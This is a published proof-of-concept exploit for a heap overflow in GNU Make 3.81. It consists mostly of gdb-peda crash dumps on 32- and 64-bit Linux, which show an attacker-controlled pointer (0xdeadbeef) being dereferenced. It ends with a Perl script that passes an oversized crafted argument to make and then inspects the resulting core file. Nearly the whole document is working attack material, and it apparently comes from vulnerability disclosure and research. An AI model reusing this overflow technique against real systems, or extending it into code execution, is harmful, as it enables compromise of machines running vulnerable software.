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- =for comment
- # Exploit Title: MAKE Heap Overflow - Pointer dereferencing POC (Calloc)-
- X86 X64
- # Date: [14.07.14]
- # Exploit Author: HyP
- # Vendor Homepage: http://www.gnu.org/software/make/
- # Software Link: http://ftp.gnu.org/gnu/make/
- # Version: Make 3.81
- # Tested on: linux32,64 bits (Fedora,Debian,ubuntu,Arch)
- # CVE : none
- *******************************************************************************************
- Special Thanks:
- kmkz
- Zadyree
- Sec0d Team
- *******************************************************************************************
- *******************************************************************************************
- 32bits
- ./checksec.sh --file make
- RELRO STACK CANARY NX PIE RPATH
- RUNPATH FILE
- No RELRO No canary found NX enabled No PIE No RPATH
- No RUNPATH make
- gdb-peda$ r `perl -e 'print "A" x 4000 . "B"x96 . "\xef\xbe\xad\xde"x4'`
- Program received signal SIGSEGV, Segmentation fault.
- [----------------------------------registers-----------------------------------]
- ...
- EAX: 0xdeadbeef
- EBX: 0x807b971 --> 0x6f2e ('.o')
- ECX: 0x0
- EDX: 0x1
- ESI: 0xdeadbeef
- EDI: 0x0
- EBP: 0xbfffc5e8 --> 0xbfffc698 --> 0x8081de0 --> 0x0
- ESP: 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
- EIP: 0x80548b2 (mov eax,DWORD PTR [eax])
- EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
- overflow)
- [-------------------------------------code-------------------------------------]
- 0x80548aa: je 0x80548b8
- 0x80548ac: lea esi,[esi+eiz*1+0x0]
- 0x80548b0: mov esi,eax
- => 0x80548b2: mov eax,DWORD PTR [eax] <------ Pointer Dereferencing
- 0x80548b4: test eax,eax
- 0x80548b6: jne 0x80548b0
- 0x80548b8: cmp DWORD PTR [ebp-0x1034],0x1
- 0x80548bf: mov DWORD PTR [ebp-0x10ac],edx
- [------------------------------------stack-------------------------------------]
- 0000| 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
- 0004| 0xbfffa314 --> 0x807b971 --> 0x6f2e ('.o')
- 0008| 0xbfffa318 --> 0x2
- 0012| 0xbfffa31c --> 0xb7ffadf8 ("symbol=%s; lookup in file=%s [%lu]\n")
- 0016| 0xbfffa320 --> 0x0
- 0020| 0xbfffa324 --> 0x0
- 0024| 0xbfffa328 --> 0x0
- 0028| 0xbfffa32c --> 0x0
- [------------------------------------------------------------------------------]
- Legend: code, data, rodata, value
- Stopped reason: SIGSEGV
- 0x080548b2 in ?? ()
- Overflow code:
- ...
- 80548aa: 74 0c je 80548b8 <calloc@plt+0xac38>
- 80548ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
- 80548b0: 89 c6 mov %eax,%esi
- 80548b2: 8b 00 mov (%eax),%eax
- 80548b4: 85 c0 test %eax,%eax
- 80548b6: 75 f8 jne 80548b0 <calloc@plt+0xac30>
- ...
- gdb-peda$ x/x $eax
- 0x807ff68: 0x00000000
- peda vmmap
- Start End Perm Name
- 0x08048000 0x0806f000 r-xp /root/Desktop/RESEARCH/make_BoF/make
- 0x0806f000 0x08070000 rw-p /root/Desktop/RESEARCH/make_BoF/make
- 0x08070000 0x08092000 rw-p [heap] // heap overflow !!
- *******************************************************************************************
- *******************************************************************************************
- 64bits
- Overflow Code :
- 40cc59: 74 10 je 40cc6b <__ctype_b_loc@plt+0xa52b>
- 40cc5b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
- 40cc60: 48 89 c3 mov rbx,rax
- 40cc63: 48 8b 00 mov rax,QWORD PTR [rax] // heap overflow
- Program received signal SIGSEGV, Segmentation fault.
- [----------------------------------registers-----------------------------------]
- RAX: 0xdeadbeefdeadbeef
- RBX: 0xdeadbeefdeadbeef
- RCX: 0x4242424242424242 ('BBBBBBBB')
- RDX: 0x0
- RSI: 0x7fffffff97d0 ('A' <repeats 200 times>...)
- RDI: 0x7fffffffa7e2 --> 0x732e656c69666500 ('')
- RBP: 0x7fffffffb930 --> 0x1
- RSP: 0x7fffffff95f0 --> 0x0
- RIP: 0x40cc63 (mov rax,QWORD PTR [rax])
- R8 : 0x4242424242424242 ('BBBBBBBB')
- R9 : 0x7ffff7972440 (mov dx,WORD PTR [rsi-0x2])
- R10: 0x4242424242424242 ('BBBBBBBB')
- R11: 0x7ffff799f990 --> 0xfffd28d0fffd2708
- R12: 0x1
- R13: 0x0
- R14: 0x6397a0 --> 0x6f2e25 ('%.o')
- R15: 0x0
- EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
- overflow)
- [-------------------------------------code-------------------------------------]
- 0x40cc59: je 0x40cc6b
- 0x40cc5b: nop DWORD PTR [rax+rax*1+0x0]
- 0x40cc60: mov rbx,rax
- => 0x40cc63: mov rax,QWORD PTR [rax] <----- Pointer dereferencing
- 0x40cc66: test rax,rax
- 0x40cc69: jne 0x40cc60
- 0x40cc6b: cmp DWORD PTR [rbp-0x105c],0x1
- 0x40cc72: lea rdi,[rbp-0x40]
- [------------------------------------stack-------------------------------------]
- 0000| 0x7fffffff95f0 --> 0x0
- 0008| 0x7fffffff95f8 --> 0x0
- 0016| 0x7fffffff9600 --> 0x0
- 0024| 0x7fffffff9608 --> 0x645e50 --> 0x646630 --> 0x64667b -->
- 0x5f7266006362696c ('libc')
- 0032| 0x7fffffff9610 --> 0xffffffdf
- 0040| 0x7fffffff9618 --> 0x645e58 --> 0x6462f0 --> 0x64a500 --> 0x64a541
- --> 0x5f726600656b616d ('make')
- 0048| 0x7fffffff9620 --> 0x7ffff7bd01f8 --> 0x645e50 --> 0x646630 -->
- 0x64667b --> 0x5f7266006362696c ('libc')
- 0056| 0x7fffffff9628 --> 0x0
- [------------------------------------------------------------------------------]
- Legend: code, data, rodata, value
- Stopped reason: SIGSEGV
- 0x000000000040cc63 in ?? ()
- *******************************************************************************************
- *******************************************************************************************
- Proof of Concept - Source code
- *******************************************************************************************
- *******************************************************************************************
- =cut
- #!/usr/bin/perl
- use 5.010;
- use strict;
- use warnings;
- say "Please set ulimit value to 1000 before (ulimit -c 1000) ";
- sleep 0.5;
- my $buff = "A"x 4096 ;
- my $addr = "\xef\xbe\xad\xde";
- my $make = "./make";
- my $gdb = "gdb --core core";
- my $PAYLOAD= (`perl -e 'print "$buff" . "$addr" '`);
- my $exec= qx($make $PAYLOAD);
- say " Reading Core file GDB ";
- sleep 0.5;
- system ($gdb);
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